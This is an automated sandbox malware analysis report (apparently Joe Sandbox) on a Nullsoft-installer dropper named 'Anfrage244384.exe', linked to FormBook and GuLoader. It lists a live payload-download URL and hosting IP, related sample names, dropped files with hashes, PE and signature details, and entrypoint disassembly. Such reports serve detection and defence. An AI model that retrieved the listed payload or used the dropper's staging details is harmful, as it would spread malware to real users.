                  https://familytherapycenter.rs/rmANWge110.bin~Anfrage244384.exe, 00000003.00000002.3081198942.0000000004C58000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://familytherapycenter.rs/Anfrage244384.exe, 00000003.00000003.2748759588.0000000004C9B000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000002.3081198942.0000000004C9C000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://familytherapycenter.rs/B5Anfrage244384.exe, 00000003.00000003.2748759588.0000000004C9B000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000002.3081198942.0000000004C9C000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214Anfrage244384.exe, 00000003.00000001.2332876628.0000000000649000.00000020.00000001.01000000.00000007.sdmpfalse
                    		high
                    https://familytherapycenter.rs/rmANWge110.binD1Anfrage244384.exe, 00000003.00000003.2748759588.0000000004C9B000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000002.3081198942.0000000004C9C000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown

                    World Map of Contacted IPs

                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs

                    Public IPs

                    IPDomainCountryFlagASNASN NameMalicious
                    188.40.95.144
                    		familytherapycenter.rsGermany
                    		24940HETZNER-ASDEfalse

                    General Information

                    Joe Sandbox version:41.0.0 Charoite
                    Analysis ID:1550563
                    Start date and time:2024-11-06 20:46:37 +01:00
                    Joe Sandbox product:CloudBasic
                    Overall analysis duration:0h 7m 21s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Cookbook file name:default.jbs
                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                    Run name:Run with higher sleep bypass
                    Number of analysed new started processes analysed:5
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • HCA enabled
                    • EGA enabled
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Timeout
                    Sample name:Anfrage244384.exe
                    Detection:MAL
                    Classification:mal84.troj.evad.winEXE@3/10@1/1
                    EGA Information:
                    • Successful, ratio: 100%
                    HCA Information:
                    • Successful, ratio: 89%
                    • Number of executed functions: 47
                    • Number of non-executed functions: 293
                    Cookbook Comments:
                    • Found application associated with file extension: .exe
                    • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
                    • Stop behavior analysis, all processes terminated

                    Warnings

                    • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                    • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                    • Report size getting too big, too many NtOpenKeyEx calls found.
                    • Report size getting too big, too many NtQueryValueKey calls found.
                    • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                    • VT rate limit hit for: Anfrage244384.exe

                    Simulations

                    Behavior and APIs

                    ⊘No simulations

                    Joe Sandbox View / Context

                    IPs

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    188.40.95.144Anfrage_244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                      5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                        5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                          Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                            Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                              Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                  5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse

                                    Domains

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    familytherapycenter.rsAnfrage_244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144

                                    ASNs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    HETZNER-ASDEhttps://me-qr.com/f/signaramadeerfield?hash=Get hashmaliciousUnknownBrowse
                                    • 49.12.126.78
                                    Payment Confirmation (237 KB).msgGet hashmaliciousHTMLPhisher, Tycoon2FABrowse
                                    • 159.69.48.31
                                    vhUjPXL0wV.exeGet hashmaliciousAsyncRATBrowse
                                    • 91.107.210.50
                                    Anfrage_244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    getscreen-868841125.exeGet hashmaliciousUnknownBrowse
                                    • 78.47.165.25
                                    getscreen-868841125.exeGet hashmaliciousUnknownBrowse
                                    • 78.47.165.25

                                    JA3 Fingerprints

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    37f463bf4616ecd445d4a1937da06e19Letter of Intent (LOI) For the Company November 2024 PDF.pif.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    FmmYUD4pt7.wsfGet hashmaliciousUnknownBrowse
                                    • 188.40.95.144
                                    rA01_278 Check list#U00b7pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                    • 188.40.95.144
                                    VZ7xFmeuPX.exeGet hashmaliciousUnknownBrowse
                                    • 188.40.95.144
                                    2ULrUoVwTx.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    wmKmOQ868z.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    wmKmOQ868z.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    2ULrUoVwTx.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144
                                    p7cCXP3hDz.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    • 188.40.95.144

                                    Dropped Files

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    C:\Users\user\AppData\Local\Temp\nsb8E12.tmp\System.dllAnfrage_244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                          Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                                            Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                              Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                  5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                    21st OCTOBER 2024 234876sdf ORDER_PDF.exeGet hashmaliciousFormBook, GuLoaderBrowse

                                                      Created / dropped Files

                                                      C:\Users\user\AppData\Local\Temp\nsb8E12.tmp\System.dll

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                      File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                      Category:dropped
                                                      Size (bytes):11264
                                                      Entropy (8bit):5.7711167426271945
                                                      Encrypted:false
                                                      SSDEEP:192:OPtkumJX7zB22kGwfy0mtVgkCPOsX1un:/702k5qpdsXQn
                                                      MD5:3F176D1EE13B0D7D6BD92E1C7A0B9BAE
                                                      SHA1:FE582246792774C2C9DD15639FFA0ACA90D6FD0B
                                                      SHA-256:FA4AB1D6F79FD677433A31ADA7806373A789D34328DA46CCB0449BBF347BD73E
                                                      SHA-512:0A69124819B7568D0DEA4E9E85CE8FE61C7BA697C934E3A95E2DCFB9F252B1D9DA7FAF8774B6E8EFD614885507ACC94987733EBA09A2F5E7098B774DFC8524B6
                                                      Malicious:false
                                                      Antivirus:
                                                      • Antivirus: ReversingLabs, Detection: 0%
                                                      Joe Sandbox View:
                                                      • Filename: Anfrage_244384.exe, Detection: malicious, Browse
                                                      • Filename: 5112024976.exe, Detection: malicious, Browse
                                                      • Filename: 5112024976.exe, Detection: malicious, Browse
                                                      • Filename: Anfrage24438.zip, Detection: malicious, Browse
                                                      • Filename: Anfrage24438.exe, Detection: malicious, Browse
                                                      • Filename: Anfrage24438.exe, Detection: malicious, Browse
                                                      • Filename: 5112024976.exe, Detection: malicious, Browse
                                                      • Filename: 5112024976.exe, Detection: malicious, Browse
                                                      • Filename: 21st OCTOBER 2024 234876sdf ORDER_PDF.exe, Detection: malicious, Browse
                                                      Reputation:moderate, very likely benign file
                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L.....MX...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                      C:\Users\user\AppData\Roaming\secretaryships\Directionless.Bro

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):277033
                                                      Entropy (8bit):7.782355189986513
                                                      Encrypted:false
                                                      SSDEEP:3072:ytWxv7/0J4n/D/l6vHIN47V1bgsNhtyyRB367YYxtUurNRqr5kl+WhbkPknsWmrK:pR/06n/Fs8UlFIVNcW+W6ms4h895cL
                                                      MD5:78F99B2860C20AB074E6127DE24B909A
                                                      SHA1:0A3670E16770DC770353B15BDF592AE0A339701E
                                                      SHA-256:90B7191F16A8D9BEA6975C7893328EF03EDEA95EB8AB2BFEC8824D2616F0316F
                                                      SHA-512:EA08CF813FF839768DB72856E95AB852170F6C4837F026B070CAFC86CB1ACF28627EBF963F3FED0796C630B01AD1309CABD1299986FA1EEF081C8AD8EA4F0FE3
                                                      Malicious:false
                                                      Reputation:low
                                                      Preview:.......QQQ......b......c..................................................|.....UU......................v..sss.,,,..ff..................!!!!.....KKKK..Q.......)......RRR...........;.....333....................w.+................aa............aa..............****..................||.........~..{{{{{.eeeee.j....lll./..........(...........\.........\\\\\\....22.dd....................................................!!!!.K..................................#.2.p..cc.N.8.m...........1.....Y.%..rr.................................//......................XX.'''....AAA.E.P.H..................................s......}.........................................Y......nn.UUUUUU...??..................EE..................!......xxx...U..%%%%%...(.......[[[.....".D.....$.FFF.......rr.#.....................000000..E.............4......................................\\\.`......r...........&.......>>>>>>...............oo..................--.......................///...............+....MM..M..............O..

                                                      C:\Users\user\AppData\Roaming\secretaryships\Khami\anya.por

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):448073
                                                      Entropy (8bit):1.2554221597008608
                                                      Encrypted:false
                                                      SSDEEP:1536:i9EUBeeNEu//hQg77ea6OP/B1p7to4APRUYZAkxe:qFZO5u/B1pBo510
                                                      MD5:3AD8D5763CA124C7392D1F4F53D24F0E
                                                      SHA1:17D48EF1AB8D52A31821A069C225D45201535899
                                                      SHA-256:3965D74DBD296AA8E7524C773FE81FE63A78355145502153CB577E9CB136DDA0
                                                      SHA-512:EE8BDE196A33297BFD4E51ED01E7D0178CF457497E822771D2BE3C58A97681AC52CD19A2BBBB71220F06F6D936A6AA67966295DF3C676104B9643F07CBE37EC8
                                                      Malicious:false
                                                      Reputation:low
                                                      Preview:............y...k......... ....L..............................................................c....................d...........................p..............R.................................................5...............f.......{......................................................................................J...........@.................E....h...............0................M.................'..............................................-...............Z.........................{...............T............c.W..............n....................H...........................................|...................................^...........w.................c...............................).....................................y.....<.......................................T........................................................3.....S..<.......?........................................1!......^.............................t................................................G........

                                                      C:\Users\user\AppData\Roaming\secretaryships\Khami\besiddertrang.gra

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):362911
                                                      Entropy (8bit):1.2562704713226092
                                                      Encrypted:false
                                                      SSDEEP:768:uFKWW9YiDlIMhmjVacve6tEvHBLNB3tQsrTpPH8mZLAUFwsahGF48hDpWRcKthwz:u5W9yMJLNbJ1CbFV3Gd6Ie48dPs
                                                      MD5:8AB9852274FA64E09B5711A2E7D94AAB
                                                      SHA1:2C39272B969040B4C185EE4A69A5F04FD1F7C0DB
                                                      SHA-256:FCD149788A3530E5E2CF5E17A09B1DE51EB67B51F3E8941E7091F88B610373F1
                                                      SHA-512:6761208A22E8D93D70465E6DD9CF1B53826AA6BF0418DCCB0A6E5816A183790A61AD67EDCF52D21366975014701107563CE47A0465CEE801300493AEB566CC69
                                                      Malicious:false
                                                      Reputation:low
                                                      Preview:....-......................................................................?d..........\.a.....................................8...............x...........e...................................)...............+..............................................i...................................................................................................................4......j................................................................................"......................................Z.....%...................................................................................................F............................................................................g...............................E./.....................................................................................Y........#.......F.......n.M.........................................................................................................................W..................................................

                                                      C:\Users\user\AppData\Roaming\secretaryships\Khami\darbyite.txt

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                      File Type:ASCII text, with CRLF line terminators
                                                      Category:dropped
                                                      Size (bytes):497
                                                      Entropy (8bit):4.296439217688297
                                                      Encrypted:false
                                                      SSDEEP:12:kdESMQrs7ZnIyxrqlLIRF0+UAkN0lCGsMqejQlJ8:QjMfpIuqPAEsOi
                                                      MD5:1560371431CEB91914AF5B9D0D307EE1
                                                      SHA1:182B8979D4D0F9F26366653638A9C92FDAFF0D56
                                                      SHA-256:72A2010CDB6ED407FCA17CDB181D5F01801F16040C2C9443BD7CB5032CDAAEF7
                                                      SHA-512:865EF0F7636149A47043183583635C2A4306BF49565166760672B88F0F9DA89A529FE4166DFF496327304E56A8A460B8113E5F3D58601C0B8A3EFAABD792AF3D
                                                      Malicious:false
                                                      Reputation:low
                                                      Preview:avenging piktogrammernes duecento korsedderkop skurvognsudlejningernes fnges ranaria..kavitet ubetalelige forhalingen passado nautically formaalsbestemmelsernes admiralsuniformers..franchot unimposing rimfire.bemba barsac unflaked skbnesvanger.tige backchats leveret viktualieforretningernes processal dignitas altica epoxyharpikset sergenter forureningsbegrnsedes..sforsvaret antiquating photomechanically enighedernes firepot megrez almon aeneus madrassen thrallborn denoteres slipup tvebakken..

                                                      C:\Users\user\AppData\Roaming\secretaryships\Khami\nilgedde.mes

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                      File Type:Matlab v4 mat-file (little endian) Y, numeric, rows 0, columns 0
                                                      Category:dropped
                                                      Size (bytes):354845
                                                      Entropy (8bit):1.2446363869824946
                                                      Encrypted:false
                                                      SSDEEP:768:E2oz5FNvncy2DZRau7W0sxOvPfSfpg5rWuWAAUIdde/FwPPMk/FOuyQv9biuPia6:opho02mYrKiKLFyJ1AIu2
                                                      MD5:DF7A44909B03AB5BC45910B405D9977A
                                                      SHA1:3D0583A7DFB39E559827189E02123F2C983A21D5
                                                      SHA-256:5A3B61A0BC8E81E756374D2A9FF5087FA4496543A635738ACA8911E95D6340D9
                                                      SHA-512:C2B4E951A185FC3FB75109B5CAA554431C1517588D04B8F2BA865F75BE448A0448364BCB84253C9B44579078787DDA616F33666C0C1BF902EC644EBC9A6FE621
                                                      Malicious:false
                                                      Preview:..................%.Y.............................[......................z...........................................8.................{................b.......W..........................................#.........................................%....z..................7......................................x.i...+............................................................................8......................................................................................................................-..3..................................................................................|............T...........................#...........\.....A.............................................7..........'.................... ...................].................J.J..........s................................g..............W........................................................................................................$...g..........................................................

                                                      C:\Users\user\AppData\Roaming\secretaryships\Khami\selefant.kri

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):298017
                                                      Entropy (8bit):1.245520550165085
                                                      Encrypted:false
                                                      SSDEEP:768:nLoDoRi0SWvTrmnVqvh6dzfCaci65UhXqjMctTGA3QBgdRWqrw3q3LFPRvx7H155:DStBsLk6gsifeQIGA0iYRwvy8n
                                                      MD5:B4C9FC75BAB8C9F006A7D9DDBC249F79
                                                      SHA1:70D4047E7E3BB10CF237B82775C89A1D92700162
                                                      SHA-256:1D84F9462C244A4500C213DF8DD79971B286392CA02BC536F5F6C3EEBC94E7E3
                                                      SHA-512:2E2279CB3755AC5708ABB30E8342235B7F0A24223E3D6F4B2B21B62E59012A5126ADC1BD73D7B64E72634728DECCE7A049D3E6F5055F8D74E959BEE54EDBEA4C
                                                      Malicious:false
                                                      Preview:............................_..,...........................................................;...........................................................7...O..................'.........................................P.........L................@....................8....................v..................G.....h.............................................m..+b.....................................................m.......C.....................................i..........................................................................................,................................C..........a...........Y......,...........q....................................................................................................................................................................................................................p................S................L..........)..............................................kF........^........E.................................................

                                                      C:\Users\user\AppData\Roaming\secretaryships\Khami\speil.int

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):497497
                                                      Entropy (8bit):1.2525295412969446
                                                      Encrypted:false
                                                      SSDEEP:1536:rbNZ/Rg8JCCgxT2eIgde/lBWTTBwGceukAdTYz91n6n:9NRg836IVLWHeGxKYQ
                                                      MD5:F3F6C6E37EAB51D3B9B9C059C1EB874C
                                                      SHA1:401E5740CCFBC1DA83BD9B426C11020C812986F2
                                                      SHA-256:B5A607F50C65E41B2BFF7F852F27373177D326D9DFA1040E1C2B3AF62F757BAB
                                                      SHA-512:060B328595ADAF9E85B390AA2AACEEFE4C6197294B7C45594798755C5E04BE1E2110F617B51E38D7DF423CD807FA81B30702CE2548563980B9CA195ECF2C11A7
                                                      Malicious:false
                                                      Preview:.........................................o................j........................................c..6......................................../....................................................m...............................r.D................................T.........................................................8....................x...................................................................!.....O....\................G.........................................G........n....."................:.........................................................................................................@.......<..................................................i.......k..............................................................................................................................=.........g.........................k.............A.......[........................)...........e................................b.............................................6.............

                                                      C:\Users\user\AppData\Roaming\secretaryships\Tingid.pig

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):476422
                                                      Entropy (8bit):1.2552031449987011
                                                      Encrypted:false
                                                      SSDEEP:1536:zGmPxn4XjZOVebnJjvYbTUBhGKcjnO/EeMHPm:Sm6zYVb849nH6
                                                      MD5:F236A74F28F6F32F81F1347D9F129268
                                                      SHA1:D5BE521661EE4BF3C186C3EAA0411DD5DF6F3EBA
                                                      SHA-256:BEED12F00B12156FF9FA63595DE11A5C01493CF5F85488CB2E159CF1A8236778
                                                      SHA-512:D6AD37DDF7B6B38B90F09186AC81C6A76F16F9A4613D6113F10D7B2A4F68129E570EFFC77A19B04F276277B7A569EBD5FD4A48D2E2E72CEA8CEE5A8F67CC5EF4
                                                      Malicious:false
                                                      Preview:.................................................................7...........................).....$....%..........................#.....M.....................................6.........N.........).......................................................................................a..............t..................................................T.........................................@...........................+..U...................A'..............L..................................................../.............2..............k.........................................................................................................&.............................................>...........................................................|..........................?...............................&...................................n.q......}....................................E......................................................p........................................6..........

                                                      C:\Users\user\AppData\Roaming\secretaryships\epipactis.God

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Anfrage244384.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):56516
                                                      Entropy (8bit):4.583805984026286
                                                      Encrypted:false
                                                      SSDEEP:768:mlbgCaiC2r+Lt41wvMoPWEsTyyUY7wJ8OeiKVBtWhGKnUjWJsBMT9nM6+4:0C26i1wEoPWhP772atWhJerBPi
                                                      MD5:1F7FE1B8AE4DE23A22291128B4441870
                                                      SHA1:37A5F1805B311CBBF7D9A130998CA7940F64D110
                                                      SHA-256:8987E1EFB56587F89E7C2D683A8B146BBCA90C1861E969EC964B628D1172B2C9
                                                      SHA-512:D9773CEA400EC75B0E1EB99C10CC0D96BA66009A3BDFDD1BAE7A787A5248632155159E700353FCB1F47B7184E6DE7ED9CABC9721FAEF67340EF92A4C50669CD7
                                                      Malicious:false
                                                      Preview:.......T.......q....................................................###..=....................ddd......B.q..........mm........KKKK...........kk.QQ.DD...............9.....;.....|.......u.........t............MMM.....111............ccccc...............b.T...h...........'...........8..ppp...........R.......n..........!!.............[...........(........[...............c........&&..........t..QQQQQQ..@@.................h..Z....`..U..kk.........]............;......+...........[.EEEE..33333.|.............................. .........^^.(((..k......%%%........................]]..3......C......\\\......22......W.888.................5.........r.HHHHH...TTTT........E...................;....@.:.-....33.......t......=................U..::.....................yyy.,..!!!!....TT.........VVVV....B.............0....z.........".....jj.................&........(.....]..1........:::..................777.............jjjj.zz...........%...cc.................................w..<<............??../........eee...

                                                      Static File Info

                                                      General

                                                      File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                      Entropy (8bit):7.5758345610971745
                                                      TrID:
                                                      • Win32 Executable (generic) a (10002005/4) 99.96%
                                                      • Generic Win/DOS Executable (2004/3) 0.02%
                                                      • DOS Executable Generic (2002/1) 0.02%
                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                      File name:Anfrage244384.exe
                                                      File size:1'235'192 bytes
                                                      MD5:7a9799db14a1d4af0b38f4b69879a78f
                                                      SHA1:89c2af745f36e1853ef82b4b21c6d461c8414ca5
                                                      SHA256:45ca0116808ce0b13a4e212c742ab2cd2b169a5cbfa841c8826636a6f5a76009
                                                      SHA512:59ee492e1a981e232f05f2d37e9feae711763e18d18de356935cc58ace3adc5d32e986caed414dc6ac2dbabaa6bbb6463d4a048697fb554606eb63d91a82d30f
                                                      SSDEEP:24576:PCAoDyk/vnt3h1CzLuTIvWMJXeQLryx8Eh7w6/tuwmeuHdB4bU4VD4O:PCAfqvtx1UuTIuMJXbLOx8Of4w5uHHS7
                                                      TLSH:1945124377770AA6E85984F7966ACD307F62BC7B014006EB325CBB1A5BB73E0412B539
                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F.*.....F...G.v.F.*.....F...v...F...@...F.Rich..F.........................PE..L...<.MX.................b...|.....

                                                      File Icon

                                                      Icon Hash:076d76bb4c713307

                                                      Static PE Info

                                                      General

                                                      Entrypoint:0x4031a3
                                                      Entrypoint Section:.text
                                                      Digitally signed:true
                                                      Imagebase:0x400000
                                                      Subsystem:windows gui
                                                      Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                      DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                      Time Stamp:0x584DCA3C [Sun Dec 11 21:50:52 2016 UTC]
                                                      TLS Callbacks:
                                                      CLR (.Net) Version:
                                                      OS Version Major:4
                                                      OS Version Minor:0
                                                      File Version Major:4
                                                      File Version Minor:0
                                                      Subsystem Version Major:4
                                                      Subsystem Version Minor:0
                                                      Import Hash:b78ecf47c0a3e24a6f4af114e2d1f5de

                                                      Authenticode Signature

                                                      Signature Valid:false
                                                      Signature Issuer:CN=Formlernes, O=Formlernes, L=Mougins, C=FR
                                                      Signature Validation Error:A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
                                                      Error Number:-2146762487
                                                      Not Before, Not After
                                                      • 18/11/2023 03:33:06 17/11/2026 03:33:06
                                                      Subject Chain
                                                      • CN=Formlernes, O=Formlernes, L=Mougins, C=FR
                                                      Version:3
                                                      Thumbprint MD5:06A678BF4CEE2BB2318FF448D2382292
                                                      Thumbprint SHA-1:A600C7C76FD42A51628AECBB26FB0139943E39F3
                                                      Thumbprint SHA-256:68DA0290D20387FFD85C6E1DA48D8758E2A71A91B6C781CF019E8AC62F148217
                                                      Serial:6EEEC2F1155A84AF6494EB2D6090BCD74FE41517

                                                      Entrypoint Preview

                                                      Instruction
                                                      sub esp, 00000184h
                                                      push ebx
                                                      push esi
                                                      push edi
                                                      xor ebx, ebx
                                                      push 00008001h
                                                      mov dword ptr [esp+18h], ebx
                                                      mov dword ptr [esp+10h], 0040A198h
                                                      mov dword ptr [esp+20h], ebx
                                                      mov byte ptr [esp+14h], 00000020h
                                                      call dword ptr [004080A8h]
                                                      call dword ptr [004080A4h]
                                                      cmp ax, 00000006h
                                                      je 00007F03F4B43CA3h
                                                      push ebx
                                                      call 00007F03F4B46C11h
                                                      cmp eax, ebx
                                                      je 00007F03F4B43C99h
                                                      push 00000C00h
                                                      call eax
                                                      mov esi, 00408298h
                                                      push esi
                                                      call 00007F03F4B46B8Dh
                                                      push esi
                                                      call dword ptr [004080A0h]
                                                      lea esi, dword ptr [esi+eax+01h]
                                                      cmp byte ptr [esi], bl
                                                      jne 00007F03F4B43C7Dh
                                                      push ebp
                                                      push 00000009h
                                                      call 00007F03F4B46BE4h
                                                      push 00000007h
                                                      call 00007F03F4B46BDDh
                                                      mov dword ptr [0042F404h], eax
                                                      call dword ptr [00408044h]
                                                      push ebx
                                                      call dword ptr [00408288h]
                                                      mov dword ptr [0042F4B8h], eax
                                                      push ebx
                                                      lea eax, dword ptr [esp+38h]
                                                      push 00000160h
                                                      push eax
                                                      push ebx
                                                      push 00429828h
                                                      call dword ptr [00408174h]
                                                      push 0040A188h
                                                      push 0042EC00h
                                                      call 00007F03F4B46807h
                                                      call dword ptr [0040809Ch]
                                                      mov ebp, 00435000h
                                                      push eax
                                                      push ebp
                                                      call 00007F03F4B467F5h
                                                      push ebx
                                                      call dword ptr [00408154h]

                                                      Rich Headers

                                                      Programming Language:
                                                      • [EXP] VC++ 6.0 SP5 build 8804

                                                      Data Directories

                                                      NameVirtual AddressVirtual Size Is in Section
                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0x85340xa0.rdata
                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x4b0000x64f00.rsrc
                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x12b6380x22c0
                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_IAT0x80000x298.rdata
                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                      Sections

                                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                      .text0x10000x60710x620086ec2a2da0012903b23e33f511180572False0.6687659438775511data6.434342820031866IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                      .rdata0x80000x13520x1400cd090b7c5bd9ae3da2a43d4f02ef98b7False0.4599609375data5.237297010093776IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                      .data0xa0000x254f80x600e98382d1559cdefaafaf45200fe1faf0False0.4544270833333333data4.037252180314336IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                      .ndata0x300000x1b0000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                      .rsrc0x4b0000x64f000x650004b35ddad0638afdc14d8651f31f9f72eFalse0.5893022896039604data6.144636705094013IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                      Resources

                                                      NameRVASizeTypeLanguageCountryZLIB Complexity
                                                      RT_BITMAP0x4b4000x368Device independent bitmap graphic, 96 x 16 x 4, image size 768EnglishUnited States0.23623853211009174
                                                      RT_ICON0x4b7680x4180cDevice independent bitmap graphic, 255 x 510 x 32, image size 260100EnglishUnited States0.5566530003727171
                                                      RT_ICON0x8cf780x10828Device independent bitmap graphic, 128 x 256 x 32, image size 65536EnglishUnited States0.6340796167041287
